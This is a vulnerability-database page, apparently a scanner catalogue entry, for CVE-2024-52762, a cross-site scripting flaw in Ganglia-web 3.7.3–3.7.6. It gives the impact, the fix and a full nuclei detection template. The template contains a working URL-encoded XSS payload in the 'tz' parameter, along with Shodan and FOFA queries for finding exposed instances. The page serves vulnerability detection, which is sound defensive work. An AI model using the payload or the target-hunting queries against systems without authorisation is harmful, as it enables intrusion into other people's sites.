Browse / CVEs / CVE-2024-52762
CVE-2024-52762· ganglia / ganglia-web· CWE-79
Ganglia Web Interface (v3.7.3 - v3.7.6) - Cross-Site Scripting
mediumseverity
5.4CVSS score
0.8%likelihood of exploitation, next 30 days
56%of all CVEs are less likely
Readycheck to confirm it
A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.
Impact
Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the tz parameter.
Fix
Update Ganglia-web to version 3.7.7 or later to address the XSS vulnerability in the timezone parameter.
How to confirm it
Send: GET {{BaseURL}}/ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: contains "\"><script>alert(document.domain)</script>\">" and "ganglia_form.submit()" AND contains in content_type "text/html" AND status 200Run it with nuclei: nuclei -id CVE-2024-52762 -u <target>
The full check
id: CVE-2024-52762
info:
name: Ganglia Web Interface (v3.7.3 - v3.7.6) - Cross-Site Scripting
author: DhiyaneshDk,daffainfo
severity: medium
description: |
A cross-site scripting (XSS) vulnerability in the component /master/header.php of Ganglia-web v3.73 to v3.76 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the "tz" parameter.
impact: |
Authenticated attackers can execute arbitrary JavaScript or HTML in victim browsers by injecting malicious payloads into the tz parameter.
remediation: |
Update Ganglia-web to version 3.7.7 or later to address the XSS vulnerability in the timezone parameter.
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2024-52762
cwe-id: CWE-79
epss-score: 0.00774
epss-percentile: 0.56058
cpe: cpe:2.3:a:ganglia:ganglia-web:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: ganglia
product: ganglia-web
shodan-query: http.html:"ganglia_form.submit()"
fofa-query: body="ganglia_form.submit()"
tags: cve,cve2024,ganglia,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/ganglia/?tz=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"><script>alert(document.domain)</script>">'
- 'ganglia_form.submit()'
condition: and
- type: word
part: content_type
words:
- "text/html"
- type: status
status:
- 200Use this check only on systems you are authorised to test. Where the data comes from